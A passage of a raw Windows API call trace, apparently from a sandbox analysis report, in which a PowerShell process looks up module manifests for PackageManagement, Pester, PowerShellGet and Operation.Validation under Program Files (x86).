(x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0084.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0084.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0084.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0084.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52a86e4 | out: lpFileInformation=0x52a86e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0084.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.948] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0084.949] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0084.949] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0084.949] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0084.949] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0084.949] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0084.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0084.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0084.949] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6c08 [0084.949] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.950] FindClose (in: hFindFile=0x75c6c08 | out: hFindFile=0x75c6c08) returned 1 [0084.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0084.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0084.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0084.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0084.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0084.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0084.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0084.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52aab28 | out: lpFileInformation=0x52aab28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0084.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0084.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0084.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0084.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0084.952] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c68c8 [0084.953] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.953] FindClose (in: hFindFile=0x75c68c8 | out: hFindFile=0x75c68c8) returned 1 [0084.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0084.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52ac7c0 | out: lpFileInformation=0x52ac7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0084.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0084.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.959] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.959] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0084.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52aca00 | out: lpFileInformation=0x52aca00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0084.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0084.959] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0084.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.959] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0084.959] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0084.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6c08 [0084.960] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, 